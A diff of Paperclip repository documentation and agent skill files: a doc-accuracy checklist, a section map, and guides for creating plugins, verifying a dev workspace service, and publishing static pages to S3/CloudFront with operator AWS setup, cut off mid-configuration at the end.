## doc/SPEC.md
### Company Model
- [ ] Fields match current schema
- [ ] Governance model description is accurate
### Agent Model
- [ ] Adapter types match what's actually supported
- [ ] Agent configuration description is accurate
- [ ] No features described as "not supported" or "not V1" that shipped
### Task Model
- [ ] Task hierarchy description is accurate
- [ ] Status values match current implementation
### Extensions / Plugins
- [ ] If plugins are shipped, no "not in V1" or "future" language
- [ ] Plugin model description matches implementation
### Open Questions
- [ ] Resolved questions removed or updated
- [ ] No "TBD" items that have been decided
## doc/PRODUCT.md
### Core Concepts
- [ ] Company, Employees, Task Management descriptions accurate
- [ ] Agent Execution modes described correctly
- [ ] No missing major concepts
### Principles
- [ ] Principles haven't been contradicted by shipped features
- [ ] No principles referencing removed capabilities
### User Flow
- [ ] Dream scenario still reflects actual onboarding
- [ ] Steps are achievable with current features
@@ -0,0 +1,22 @@
# Section Map
Maps feature areas to specific document sections so the skill knows where to
look when a feature ships or changes.
| Feature Area | README Section | SPEC Section | PRODUCT Section |
|-------------|---------------|-------------|----------------|
| Plugins / Extensions | Features table, Roadmap | Extensions, Agent Model | Core Concepts |
| Adapters (new runtimes) | "Works with" table, FAQ | Agent Model, Agent Configuration | Employees & Agents, Agent Execution |
| Governance / Approvals | Features table, "Why special" | Board Governance, Board Approval Gates | Principles |
| Budget / Cost Control | Features table, "Why special" | Budget Delegation | Company (revenue & expenses) |
| Task Management | Features table | Task Model | Task Management |
| Org Chart / Hierarchy | Features table | Agent Model (reporting) | Employees & Agents |
| Multi-Company | Features table, FAQ | Company Model | Company |
| Heartbeats | Features table, FAQ | Agent Execution | Agent Execution |
| CLI Commands | Development section | — | — |
| Onboarding / Quickstart | Quickstart, FAQ | — | User Flow |
| Skills / Skill Injection | "Why special" | — | — |
| Company Templates | "Why special", Roadmap (ClipMart) | — | — |
| Mobile / UI | Features table | — | — |
| Project Archiving | — | — | — |
| OpenClaw Integration | "Works with" table, FAQ | Agent Model | Agent Execution |
@@ -0,0 +1,154 @@
---
name: paperclip-create-plugin
description: >
Create and develop external Paperclip plugins with the CLI-first workflow.
Use when scaffolding a new plugin, working on a local plugin against a running
Paperclip instance, or updating plugin authoring docs. Covers `paperclipai
plugin init`, the local install loop via `paperclipai plugin install <path>`,
worker/UI rebuild and reload semantics, and the required success checklist.
---
# Create and develop a Paperclip plugin
Use this skill when the task is to create, scaffold, or iterate on a Paperclip plugin against a local Paperclip instance.
## 1. Default: build the plugin OUTSIDE Paperclip core
Plugins are their own packages. Unless the task **explicitly** asks for a bundled in-repo example, do not add plugin source under `packages/plugins/` in this repo.
- Scaffold the plugin into a directory outside the Paperclip checkout (e.g. `~/dev/paperclip-plugins/<name>`).
- Install it into the running Paperclip instance by local absolute path.
- Edit code in the external package; let Paperclip pick up rebuilt output.
Only edit Paperclip core itself when the user asks to surface a plugin as a bundled example (`server/src/routes/plugins.ts`, in-repo example lists, docs).
## 2. Ground rules
Reference docs when you need detail:
1. `doc/plugins/PLUGIN_AUTHORING_GUIDE.md`
2. `packages/plugins/sdk/README.md`
3. `doc/plugins/PLUGIN_SPEC.md` — future-looking context only
Current runtime assumptions:
- plugin workers are trusted code
- plugin UI is trusted same-origin host code
- worker APIs are capability-gated
- plugin UI is not sandboxed by manifest capabilities
- no host-provided shared plugin UI component kit yet
- `ctx.assets` is not supported in the current runtime
## 3. CLI-first scaffold workflow
Use `paperclipai plugin init`. Do not invoke the scaffold package node entrypoint by hand unless the CLI command is unavailable in the environment.
```bash
paperclipai plugin init @acme/my-plugin --output ~/dev/paperclip-plugins
```
Useful flags (all optional):
- `--output <dir>` — parent directory; the command creates `<dir>/<unscoped-name>/`. Defaults to the current directory.
- `--template <default|connector|workspace|environment>` — starter template.
- `--category <connector|workspace|automation|ui|environment>` — manifest category.
- `--display-name <name>`, `--description <text>`, `--author <name>` — manifest metadata.
- `--sdk-path <path>` — snapshot the local SDK from a Paperclip checkout into `.paperclip-sdk/` (useful when developing against an unreleased SDK).
On success the command prints the exact next commands (`cd`, `pnpm install`, `pnpm dev`, `paperclipai plugin install <abs-path>`). Run them in order.
If `paperclipai` is not on PATH in your environment, fall back to:
```bash
pnpm --filter @paperclipai/create-paperclip-plugin build
node packages/plugins/create-paperclip-plugin/dist/index.js @acme/my-plugin \
--output /absolute/path \
--sdk-path /absolute/path/to/paperclip/packages/plugins/sdk
```
## 4. Local install + rebuild loop
In the scaffolded plugin folder:
```bash
pnpm install
pnpm dev # esbuild --watch: rebuilds dist/manifest.js, dist/worker.js, dist/ui/
paperclipai plugin install /absolute/path/to/my-plugin
```
Notes:
- `paperclipai plugin install` auto-detects local paths (absolute, `./`, `../`, `~`, or an existing relative folder) and forwards `isLocalPath: true` to the server. Pass `--local` to force local mode if the heuristic is ambiguous.
- Paths are resolved to absolute paths before being sent to the server.
- The server watches built outputs (`dist/`) for local-path plugins and restarts the plugin worker on rebuild — you do not need to reinstall after every edit.
- UI hot reload via the SDK dev server (`pnpm dev:ui`, port `4177`) is optional and template-dependent; only mention it if the template wires `devUiUrl` and you verified it works end to end.
- `--version` only applies to npm package installs. Combining it with a local path is an error.
After install, inspect with:
```bash
paperclipai plugin list
paperclipai plugin inspect <plugin-key>
```
## 5. After scaffolding, sanity-check the package
Open and confirm:
- `src/manifest.ts` — declared capabilities and slots
- `src/worker.ts` — worker entry
- `src/ui/index.tsx` — UI entry (if applicable)
- `tests/plugin.spec.ts` — placeholder test
- `package.json` — `paperclipPlugin` block points at `dist/manifest.js`, `dist/worker.js`, `dist/ui/`
Make sure the plugin:
- declares only supported capabilities
- does not use `ctx.assets`
- does not import host UI component stubs
- keeps UI self-contained
- uses `routePath` only on `page` slots
## 6. Verification (run before declaring success)
From the plugin folder:
```bash
pnpm typecheck
pnpm test
pnpm build
```
If the plugin is already running under `pnpm dev`, you can keep the watcher up and run `pnpm typecheck` and `pnpm test` in a separate shell.
If you changed Paperclip SDK/host/plugin runtime code in addition to the plugin, also run the relevant Paperclip workspace checks.
## 7. Success checklist (report this back)
When you finish a local plugin task, report:
- **Scaffold path** — absolute path of the created plugin folder.
- **Commands run** — the exact `paperclipai plugin init`, `pnpm install`, `pnpm dev`, `paperclipai plugin install <path>` invocations (and any verification commands).
- **Install status** — output of `paperclipai plugin list` / `plugin inspect` (plugin key, version, status). Note if `status` is anything other than `ready` and include `lastError`.
- **Tests / build result** — `pnpm typecheck`, `pnpm test`, `pnpm build` pass/fail with the failing output if any.
- **Reload limitations** — call out anything that did not hot-reload (e.g. manifest changes required a reinstall, UI dev server was not wired, etc.).
If any item is missing, mark it as such — do not silently skip.
## 8. When NOT to edit Paperclip core
Do not add the plugin under `packages/plugins/` or update bundled-example wiring unless the user explicitly asks for a bundled example. Local-path installs are the supported development model; npm packages are the production deployment path.
If the user does ask for a bundled example, also update:
- `server/src/routes/plugins.ts` example list
- any docs that enumerate in-repo example plugins
## 9. Documentation expectations
When authoring or updating plugin docs:
- distinguish current implementation from future spec ideas
- be explicit about the trusted-code model
- do not promise host UI components or asset APIs
- prefer local-path development + npm-package deployment guidance over repo-local workflows
@@ -0,0 +1,377 @@
---
name: paperclip-dev-workspace-run-verify-fix
description: >
Run, verify, reseed, and repair a Paperclip isolated dev workspace service.
Use when asked to start or fix a Paperclip project/worktree service and prove
that it is managed by the Paperclip runtime, has the full bootstrapped cloned
database, is healthy, accepts normal dev credentials, exposes populated app
data, and is visible as running from both the control-plane and the served
workspace app.
---
# Paperclip Dev Workspace Run / Verify / Fix
This skill is for Paperclip-specific development workspaces whose service is
started through project execution workspace runtime services, typically a
worktree service such as `paperclip-dev`.
Success means all of these are true:
- the service was started through the normal managed runtime path, not a
detached workaround
- the worktree database is a full bootstrapped isolated clone of the primary
instance database
- `/api/health` returns `status: ok` and `bootstrapStatus: ready`
- the root page returns `200` and does not show the first-admin setup gate
- the board user can log in with their normal dev credentials
- the app shows populated cloned data, not only a manually copied auth user
- the main control plane shows the service as `running` / `healthy` with the
expected URL
- the served workspace app also knows about that service and shows it as
`running` / `healthy`
If any item fails, keep fixing. Do not mark the issue done because one probe
passed.
## Hard rules
- Read `doc/DEVELOPING.md` before running Paperclip CLI, dev server, worktree,
database, build, or test commands.
- Use the Paperclip CLI and API as the source of truth for worktree and
database operations. Do not use `psql`, raw embedded-Postgres commands, or
ad hoc row copying for the normal fix path.
- Do not manually copy only auth rows as the final fix. That proves login, but
it does not prove the isolated workspace has the full bootstrapped database.
- Prefer managed runtime start/stop routes over `pnpm dev` or detached shell
processes when the task is about a reusable workspace service.
- Avoid destructive git or database actions. Preserve user changes in the
worktree.
- Run the smallest verification that proves the repair. Add focused tests only
when code changed.
- Leave an issue comment with root cause, exact fix, verification, and any
commit link. Set a clear final status.
## Inputs to collect
Use environment variables when available. Do not print API keys or passwords.
- `PAPERCLIP_API_URL`: main control-plane API URL
- `PAPERCLIP_API_KEY`: agent API key
- `PAPERCLIP_RUN_ID`: current run id for runtime-service mutations
- `PAPERCLIP_TASK_ID`: current issue id
- `PAPERCLIP_COMPANY_ID`: company id
- `PAPERCLIP_AGENT_ID`: current agent id
- execution workspace id for the worktree service
- runtime workspace command id, usually `service:paperclip-dev`
- expected service URL, for example `http://paperclip-dev:40631`
- dev credential owner, if the user supplied one; never post the password
If the execution workspace id or service command id is missing, read the issue,
project, or execution-workspace API records first. Do not guess and start an
unmanaged server on a random port.
## Normal run sequence
Use this when the user says to start the workspace, start it again, or fix a
workspace that should be freshly ready.
1. Confirm the latest issue comment and restate the success condition in your
own words.
2. Inspect current runtime state from the main control plane.
3. Stop any managed instance of the target runtime service.
4. Reseed the worktree with a full clone from the primary instance when there
is any doubt about database completeness.
5. Start the runtime service through the managed runtime API.
6. Verify health, bootstrap state, login readiness, populated data, and runtime
visibility from both the main control plane and served workspace app.
7. If a verification item fails, diagnose that exact failure and loop back to
the narrowest repair step.
8. Comment on the issue and set the final disposition.
## Managed start / stop
Use the runtime-service endpoints on the main control plane. Include
`X-Paperclip-Run-Id` so the mutation is associated with the current heartbeat.
```sh
curl -sS -X POST \
"$PAPERCLIP_API_URL/api/execution-workspaces/$EXECUTION_WORKSPACE_ID/runtime-services/stop" \
-H "Authorization: Bearer $PAPERCLIP_API_KEY" \
-H "X-Paperclip-Run-Id: $PAPERCLIP_RUN_ID" \
-H "Content-Type: application/json" \
--data-binary '{"workspaceCommandId":"service:paperclip-dev"}'
```
```sh
curl -sS -X POST \
"$PAPERCLIP_API_URL/api/execution-workspaces/$EXECUTION_WORKSPACE_ID/runtime-services/start" \
-H "Authorization: Bearer $PAPERCLIP_API_KEY" \
-H "X-Paperclip-Run-Id: $PAPERCLIP_RUN_ID" \
-H "Content-Type: application/json" \
--data-binary '{"workspaceCommandId":"service:paperclip-dev"}'
```
If the API returns an existing service, treat that as a candidate only. Verify
its real `/api/health` before trusting it.
## Full database reseed
Use a full reseed when the app says setup is incomplete, login works but data
is missing, the cloned app does not have the expected companies/issues/agents,
or the user explicitly asks for the normal isolated-workspace database.
```sh
pnpm paperclipai worktree reseed --from-instance default --seed-mode full --yes
```
After reseed, restart through the managed runtime path. A reseed can copy
runtime-service rows whose ids no longer match the local process registry, so
runtime adoption and reconciliation must be verified after the start.
Do not consider the reseed complete until the served app has both auth and
populated product data. A one-off inserted user/account row is a diagnostic
clue, not the final state.
## Core verification probes
Set `SERVICE_URL` to the service URL returned by the runtime API.
```sh
curl -sS "$SERVICE_URL/api/health" | jq
curl -sS -I "$SERVICE_URL/" | head
```
Expected health:
- `status: "ok"`
- `bootstrapStatus: "ready"`
- `bootstrapInviteActive: false`
Failures to reject:
- `bootstrap_pending`: the instance will show the first-admin setup gate
- `database_unreachable`: a web process is listening but its database is dead
- a root `200` with unhealthy `/api/health`: stale process adoption bug or a
dead embedded database behind a live Node process
Check the port owner when a process is already listening:
```sh
lsof -nP -iTCP:"$SERVICE_PORT" -sTCP:LISTEN || true
```
Use this only to identify and remove a stale matching Paperclip dev-runner
process after managed stop fails. Do not kill unrelated processes.
## Verify main control-plane runtime state
Read the execution workspace from the main API and inspect the runtime service
record.
```sh
curl -sS \
"$PAPERCLIP_API_URL/api/execution-workspaces/$EXECUTION_WORKSPACE_ID" \
-H "Authorization: Bearer $PAPERCLIP_API_KEY" | jq
```
The target service should show:
- matching workspace command id, usually `service:paperclip-dev`
- `status: "running"`
- healthy health fields, if present
- the same URL you are probing
- a local provider reference that maps to the running port owner
If the main app says running but `/api/health` is bad, stop and replace the
stale process through the managed runtime.
## Verify served workspace runtime state
The cloned Paperclip app must also know about the service. Query the same
execution workspace through the served app when agent auth is available there:
```sh
curl -sS \
"$SERVICE_URL/api/execution-workspaces/$EXECUTION_WORKSPACE_ID" \
-H "Authorization: Bearer $PAPERCLIP_API_KEY" | jq
```
The served app should agree that the service is `running` / `healthy` at the
same URL. If the main control plane and served app disagree after a reseed,
the cloned database may contain copied runtime-service ids that do not match
the local process registry. Use the normal start/adoption path again and verify
both sides. If code changed in this area, add a focused regression test.
## Verify auth and populated data
Auth and data checks should use product APIs and browser/QA review, not raw DB
queries.
Minimum API checks:
```sh
curl -sS "$SERVICE_URL/api/health" | jq '.status, .bootstrapStatus'
curl -sS "$SERVICE_URL/api/companies" \
-H "Authorization: Bearer $PAPERCLIP_API_KEY" | jq
curl -sS "$SERVICE_URL/api/agents/me" \
-H "Authorization: Bearer $PAPERCLIP_API_KEY" | jq
```
Then verify at least one expected cloned product record through the API, such
as a known project, issue key, company, or execution workspace that should
exist in the primary instance. Pick a record relevant to the current issue
rather than a random table count.
Browser or QA check:
- open the service URL
- confirm the first-admin setup gate is gone
- sign in with normal dev credentials
- confirm the board loads populated companies/projects/issues/runs
- confirm the workspace service appears with the running URL
If this environment cannot launch a browser, ask QA to do the visual/login
check and still complete all API checks you can run. Report that browser
verification was delegated and why.
## Common failures and fixes
### Setup gate appears
Symptom: the page says no admin has claimed the instance.
Fix: run a full worktree reseed from the primary instance, then restart the
managed service. Claiming a first admin can clear the gate, but if the user
asked for the normal isolated workspace database, full reseed is the correct
fix.
Verify: `/api/health` has `bootstrapStatus: ready`, login works, and populated
data exists.
### Login fails
Symptom: bootstrap is ready, but the user's normal dev credentials do not work.
Likely cause: the isolated DB has roles or bootstrap state but lacks the
primary instance auth users/accounts.
Fix: full reseed. Do not manually copy only Better Auth user/account rows as
the final fix.
Verify: user login through browser/QA and `/api/agents/me` with the agent key.
### Login works but data is missing
Symptom: user can sign in, but companies/issues/projects/runs are empty or
clearly incomplete.
Likely cause: a partial auth repair was done instead of a full cloned database.
Fix: full reseed, managed restart, then verify representative cloned records.
### Port listens but health says database unreachable
Symptom: `curl -I /` returns a response, but `/api/health` reports
`database_unreachable`.
Likely cause: stale Node/web process remained alive after embedded Postgres
died.
Fix: managed stop first. If the process survives, identify the matching
Paperclip dev-runner process group for the target port and terminate only that
group. Then managed start.
Verify: `/api/health` is ok after a stability wait and the runtime record is
healthy.
### Main control plane loses track of a running service
Symptom: the service URL works, but the main app says the service was not
created or is stopped.
Likely cause: detached workaround process, stale provider ref, or service
adoption trusted the root URL instead of health.
Fix: shut down the unmanaged process and restart through the managed runtime.
If code repair is needed, ensure adoption checks `/api/health`, replaces
unhealthy adopted processes, and records the current provider ref.
Verify: main runtime row and `/api/health` agree.
### Served app loses track after full reseed
Symptom: the main app sees `paperclip-dev` running, but the cloned app copied a
runtime-service row whose id does not match the local registry.
Likely cause: normal DB clone copied persisted runtime rows from the primary
instance into an isolated environment with different local process metadata.
Fix: use managed start/adoption again. If code repair is needed, adoption
should reconcile by service identity and port, not only by copied row id.
Verify: main app and served app both show the same service as
`running` / `healthy`.
### Runtime start returns permission or run-FK errors in the cloned app
Symptom: starting from the served app returns `403` or a mutation partially
applies before activity logging fails.
Likely causes: the cloned issue/run/agent state does not match the current
heartbeat, or the run id is absent in the cloned database after reseed.
Fix: prefer the main control-plane managed runtime path and full reseed. If
the cloned app state itself must be repaired, use normal Paperclip issue/run
transitions first. Do not hide the condition with raw DB edits; report the
exact guard or missing row if it blocks the normal path.
## When code changes are required
Make a code change only when the normal operational repair exposes a product
bug. Examples from this failure class:
- local port owner detection used the wrong `lsof` arguments
- service adoption trusted root `200` instead of `/api/health`
- unhealthy adopted services were not terminated/replaced
- reseeded runtime-service ids were not reconciled with local process registry
Add focused tests in the affected service test file. For workspace runtime
repairs, the narrow verification is usually:
```sh
pnpm exec vitest run server/src/__tests__/workspace-runtime.test.ts
git diff --check
```
Commit logical code changes and link the commit in the issue comment. If no
tracked code changed, say so explicitly.
## Final issue comment template
Use concrete evidence, not a vague "it works".
```md
Fixed and verified the workspace service.
Root cause:
- <why it broke>
Fix:
- <normal reseed/start/repair steps>
- <code commit if any>
Verified:
- main control plane shows <service> running/healthy at <url>
- served workspace app shows the same service running/healthy
- <url>/api/health is ok with bootstrapStatus ready
- root page returns 200 and no setup gate
- dev login verified by <agent browser / QA / user> without posting credentials
- cloned data verified via <specific API records>
- targeted tests: <commands>
Remaining:
- <none, or named owner/action if blocked>
```
Mark the issue `done` only when every success-condition item is satisfied. If
not, mark `blocked` with a named unblock owner and the exact action needed.
+621
View File
@@ -0,0 +1,621 @@
# Paperclip Page Skill
`paperclip-page` publishes static page directories to a Paperclip-controlled S3
bucket served through CloudFront. It is the durable Paperclip-owned replacement
for quick `here.now`-style page sharing.
The v1 security posture is:
- CloudFront + ACM + Origin Access Control in front of a private S3 REST origin.
- Public content only.
- Dedicated uploader IAM identity, separate from Paperclip attachment storage.
- No `s3:DeleteObject`, no `aws s3 sync --delete`, and no bucket/IAM/DNS changes
from the publish helper.
- Symlinks, hidden files, unsafe slugs, and accidental overwrites are rejected.
## Agent Quick Start
Build or prepare a static directory with `index.html` at its root:
```bash
site/
index.html
assets/app.css
assets/app.js
```
Validate without AWS writes:
```bash
.agents/skills/paperclip-page/scripts/publish.sh ./site --slug demo --dry-run
```
Publish:
```bash
.agents/skills/paperclip-page/scripts/publish.sh ./site --slug demo
```
Update an existing page from the same source directory:
```bash
.agents/skills/paperclip-page/scripts/publish.sh ./site --slug demo --update
```
The helper prints:
- public URL
- S3 key prefix
- local ownership state path
## Source Directory Rules
- `index.html` must exist at the directory root.
- Source directory itself must not be a symlink.
- No symlinks anywhere in the tree.
- No hidden files or dot paths in published content.
- `.paperclip-page/state.json` is allowed and excluded from uploads.
- Do not publish secrets, credentials, internal logs, private company material,
customer data, or regulated data.
Add this to the publishing repo or generated site `.gitignore` when the source
directory lives in a git checkout:
```gitignore
.paperclip-page/
```
## Environment Variables
Required for live publishes:
```bash
export AWS_REGION=us-east-1
export PAPERCLIP_PAGE_BUCKET=paperclip-pages-prod
export PAPERCLIP_PAGE_BASE_URL=https://pages.paperclip.ing
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
```
Optional:
```bash
export PAPERCLIP_PAGE_DEFAULT_PREFIX=""
export PAPERCLIP_PAGE_AWS_PROFILE=paperclip-page-uploader
```
Recommended Paperclip secret names:
- `paperclip-page-aws-access-key-id`
- `paperclip-page-aws-secret-access-key`
Bind those secrets into publisher agents as `AWS_ACCESS_KEY_ID` and
`AWS_SECRET_ACCESS_KEY`. Do not reuse Paperclip's internal S3 attachment/object
storage credentials.
## AWS Setup
Run setup with an operator/admin AWS profile. Agents using this skill should not
create buckets, mutate IAM, change DNS, or manage CloudFront.
```bash
export AWS_PROFILE=paperclip-admin
export AWS_REGION=us-east-1
export BUCKET=paperclip-pages-prod
export DOMAIN=pages.paperclip.ing
export UPLOADER_USER=paperclip-page-uploader
export CLOUDFRONT_COMMENT="Paperclip pages"
aws sts get-caller-identity --profile "$AWS_PROFILE"
```
Create the bucket:
```bash
aws s3api create-bucket \
--profile "$AWS_PROFILE" \
--region "$AWS_REGION" \
--bucket "$BUCKET"
```
For regions other than `us-east-1`, add:
```bash
--create-bucket-configuration LocationConstraint="$AWS_REGION"
```
Disable ACLs and keep ownership bucket-enforced:
```bash
aws s3api put-bucket-ownership-controls \
--profile "$AWS_PROFILE" \
--bucket "$BUCKET" \
--ownership-controls '{"Rules":[{"ObjectOwnership":"BucketOwnerEnforced"}]}'
```
Block public access. CloudFront reads through OAC, so the bucket does not need a
public website policy:
```bash
aws s3api put-public-access-block \
--profile "$AWS_PROFILE" \
--bucket "$BUCKET" \
--public-access-block-configuration \
'BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true'
```
Enable versioning:
```bash
aws s3api put-bucket-versioning \
--profile "$AWS_PROFILE" \
--bucket "$BUCKET" \
--versioning-configuration Status=Enabled
```
Enable default encryption:
```bash
aws s3api put-bucket-encryption \
--profile "$AWS_PROFILE" \
--bucket "$BUCKET" \
--server-side-encryption-configuration '{"Rules":[{"ApplyServerSideEncryptionByDefault":{"SSEAlgorithm":"AES256"}}]}'
```
Upload an operator-managed root `404.html` before creating the distribution:
```bash
mkdir -p /tmp/paperclip-pages-bootstrap
printf '<!doctype html><title>Not found</title><h1>Not found</h1>\n' \
> /tmp/paperclip-pages-bootstrap/404.html
aws s3 cp /tmp/paperclip-pages-bootstrap/404.html "s3://$BUCKET/404.html" \
--profile "$AWS_PROFILE" \
--content-type text/html \
--cache-control 'public,max-age=60'
```
Create an ACM certificate in `us-east-1` for CloudFront:
```bash
export ACM_REGION=us-east-1
aws acm request-certificate \
--profile "$AWS_PROFILE" \
--region "$ACM_REGION" \
--domain-name "$DOMAIN" \
--validation-method DNS \
--idempotency-token paperclippages \
> /tmp/paperclip-pages-acm.json
export CERT_ARN="$(jq -r '.CertificateArn' /tmp/paperclip-pages-acm.json)"
aws acm describe-certificate \
--profile "$AWS_PROFILE" \
--region "$ACM_REGION" \
--certificate-arn "$CERT_ARN" \
--query 'Certificate.DomainValidationOptions[].ResourceRecord'
```
Add the returned DNS validation record in Cloudflare, then wait:
```bash
aws acm wait certificate-validated \
--profile "$AWS_PROFILE" \
--region "$ACM_REGION" \
--certificate-arn "$CERT_ARN"
```
Create a CloudFront Origin Access Control:
```bash
aws cloudfront create-origin-access-control \
--profile "$AWS_PROFILE" \
--origin-access-control-config "{
\"Name\":\"paperclip-pages-oac\",
\"Description\":\"OAC for $BUCKET\",
\"SigningProtocol\":\"sigv4\",
\"SigningBehavior\":\"always\",
\"OriginAccessControlOriginType\":\"s3\"
}" \
> /tmp/paperclip-pages-oac.json
export OAC_ID="$(jq -r '.OriginAccessControl.Id' /tmp/paperclip-pages-oac.json)"
```
Create and publish a CloudFront Function so clean page URLs such as `/demo/`
load `/demo/index.html` from the S3 REST origin:
```bash
cat > paperclip-pages-index-router.js <<'EOF'
function handler(event) {
var request = event.request;
var uri = request.uri;
if (uri.endsWith('/')) {
request.uri = uri + 'index.html';
return request;
}
var lastSegment = uri.substring(uri.lastIndexOf('/') + 1);
if (lastSegment.indexOf('.') === -1) {
request.uri = uri + '/index.html';
}
return request;
}
EOF
aws cloudfront create-function \
--profile "$AWS_PROFILE" \
--name paperclip-pages-index-router \
--function-config 'Comment=Rewrite clean page URLs to index.html,Runtime=cloudfront-js-2.0' \
--function-code fileb://paperclip-pages-index-router.js \
> /tmp/paperclip-pages-function.json
export FUNCTION_ETAG="$(jq -r '.ETag' /tmp/paperclip-pages-function.json)"
aws cloudfront publish-function \
--profile "$AWS_PROFILE" \
--name paperclip-pages-index-router \
--if-match "$FUNCTION_ETAG" \
> /tmp/paperclip-pages-function-live.json
export FUNCTION_ARN="$(jq -r '.FunctionSummary.FunctionMetadata.FunctionARN' /tmp/paperclip-pages-function-live.json)"
```
Create `cloudfront-config.json`:
```bash
export CALLER_REFERENCE="paperclip-pages-$(date +%s)"
jq -n \
--arg caller "$CALLER_REFERENCE" \
--arg comment "$CLOUDFRONT_COMMENT" \
--arg domain "$DOMAIN" \
--arg bucket "$BUCKET" \
--arg oac "$OAC_ID" \
--arg functionArn "$FUNCTION_ARN" \
--arg cert "$CERT_ARN" \
'{
CallerReference: $caller,
Comment: $comment,
Enabled: true,
IsIPV6Enabled: true,
Aliases: {Quantity: 1, Items: [$domain]},
Origins: {
Quantity: 1,
Items: [{
Id: "s3-origin",
DomainName: ($bucket + ".s3.amazonaws.com"),
OriginAccessControlId: $oac,
S3OriginConfig: {OriginAccessIdentity: ""}
}]
},
DefaultRootObject: "index.html",
DefaultCacheBehavior: {
TargetOriginId: "s3-origin",
ViewerProtocolPolicy: "redirect-to-https",
AllowedMethods: {Quantity: 2, Items: ["GET", "HEAD"], CachedMethods: {Quantity: 2, Items: ["GET", "HEAD"]}},
Compress: true,
CachePolicyId: "658327ea-f89d-4fab-a63d-7e88639e58f6",
OriginRequestPolicyId: "88a5eaf4-2fd4-4709-b370-b4c650ea3fcf",
FunctionAssociations: {
Quantity: 1,
Items: [{EventType: "viewer-request", FunctionARN: $functionArn}]
}
},
CustomErrorResponses: {
Quantity: 1,
Items: [{ErrorCode: 403, ResponsePagePath: "/404.html", ResponseCode: "404", ErrorCachingMinTTL: 60}]
},
ViewerCertificate: {
ACMCertificateArn: $cert,
SSLSupportMethod: "sni-only",
MinimumProtocolVersion: "TLSv1.2_2021"
},
Restrictions: {GeoRestriction: {RestrictionType: "none", Quantity: 0}}
}' > cloudfront-config.json
```
Create the distribution:
```bash
aws cloudfront create-distribution \
--profile "$AWS_PROFILE" \
--distribution-config file://cloudfront-config.json \
> /tmp/paperclip-pages-cloudfront.json
export DISTRIBUTION_ID="$(jq -r '.Distribution.Id' /tmp/paperclip-pages-cloudfront.json)"
export DISTRIBUTION_DOMAIN="$(jq -r '.Distribution.DomainName' /tmp/paperclip-pages-cloudfront.json)"
```
Grant CloudFront read access to the private bucket:
```bash
export ACCOUNT_ID="$(aws sts get-caller-identity --profile "$AWS_PROFILE" --query Account --output text)"
jq -n \
--arg bucket "$BUCKET" \
--arg account "$ACCOUNT_ID" \
--arg distribution "$DISTRIBUTION_ID" \
'{
Version: "2012-10-17",
Statement: [{
Sid: "AllowCloudFrontServicePrincipalReadOnly",
Effect: "Allow",
Principal: {Service: "cloudfront.amazonaws.com"},
Action: "s3:GetObject",
Resource: ("arn:aws:s3:::" + $bucket + "/*"),
Condition: {
StringEquals: {
"AWS:SourceArn": ("arn:aws:cloudfront::" + $account + ":distribution/" + $distribution)
}
}
}]
}' > bucket-policy.json
aws s3api put-bucket-policy \
--profile "$AWS_PROFILE" \
--bucket "$BUCKET" \
--policy file://bucket-policy.json
```
Create the uploader IAM user:
```bash
aws iam create-user \
--profile "$AWS_PROFILE" \
--user-name "$UPLOADER_USER"
```
Create `paperclip-page-uploader-policy.json`. This policy supports collision
checks and additive uploads under slug prefixes while protecting root bootstrap
objects such as `404.html`.
```bash
jq -n \
--arg bucket "$BUCKET" \
'{
Version: "2012-10-17",
Statement: [
{
Sid: "ListPublishedPagePrefixes",
Effect: "Allow",
Action: ["s3:ListBucket"],
Resource: ("arn:aws:s3:::" + $bucket)
},
{
Sid: "ReadPublishedPages",
Effect: "Allow",
Action: ["s3:GetObject"],
Resource: ("arn:aws:s3:::" + $bucket + "/*")
},
{
Sid: "WritePublishedPageObjects",
Effect: "Allow",
Action: ["s3:PutObject"],
Resource: ("arn:aws:s3:::" + $bucket + "/*/*")
},
{
Sid: "DenyReservedRootWrites",
Effect: "Deny",
Action: ["s3:PutObject", "s3:DeleteObject", "s3:PutObjectTagging"],
Resource: [
("arn:aws:s3:::" + $bucket + "/404.html"),
("arn:aws:s3:::" + $bucket + "/index.html")
]
}
]
}' > paperclip-page-uploader-policy.json
```
Attach it:
```bash
aws iam put-user-policy \
--profile "$AWS_PROFILE" \
--user-name "$UPLOADER_USER" \
--policy-name PaperclipPagePublisher \
--policy-document file://paperclip-page-uploader-policy.json
```
Create access keys and treat the output as secret material:
```bash
aws iam create-access-key \
--profile "$AWS_PROFILE" \
--user-name "$UPLOADER_USER" \
> /tmp/paperclip-page-uploader-key.json
chmod 600 /tmp/paperclip-page-uploader-key.json
```
## Cloudflare DNS
Use DNS-only or proxied CNAME to CloudFront. Do not point v1 at the S3 website
endpoint.
Cloudflare UI:
- Open the `paperclip.ing` zone.
- Add `CNAME`:
- Name: `pages`
- Target: the CloudFront domain, for example `d111111abcdef8.cloudfront.net`
- Proxy status: DNS only or Proxied
- TTL: Auto
API equivalent:
```bash
export CF_ZONE_ID=<paperclip.ing-zone-id>
export CF_API_TOKEN=<token-with-zone-dns-edit>
curl -sS -X POST "https://api.cloudflare.com/client/v4/zones/$CF_ZONE_ID/dns_records" \
-H "Authorization: Bearer $CF_API_TOKEN" \
-H "Content-Type: application/json" \
--data "$(jq -n \
--arg name pages \
--arg content "$DISTRIBUTION_DOMAIN" \
'{type:"CNAME", name:$name, content:$content, ttl:1, proxied:false}')"
```
Smoke check:
```bash
curl -I "https://$DOMAIN/404.html"
```
## Paperclip Secrets
Create secrets from environment variables so values do not land in shell history:
```bash
export PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID="$(jq -r '.AccessKey.AccessKeyId' /tmp/paperclip-page-uploader-key.json)"
export PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY="$(jq -r '.AccessKey.SecretAccessKey' /tmp/paperclip-page-uploader-key.json)"
pnpm paperclipai secrets create \
--company-id <company-id> \
--name paperclip-page-aws-access-key-id \
--value-env PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID
pnpm paperclipai secrets create \
--company-id <company-id> \
--name paperclip-page-aws-secret-access-key \
--value-env PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY
```
Bind runtime env to publishing agents:
```json
{
"AWS_ACCESS_KEY_ID": {
"type": "secret_ref",
"secretId": "<access-key-secret-id>",
"version": "latest"
},
"AWS_SECRET_ACCESS_KEY": {
"type": "secret_ref",
"secretId": "<secret-key-secret-id>",
"version": "latest"
},
"AWS_REGION": { "type": "plain", "value": "us-east-1" },
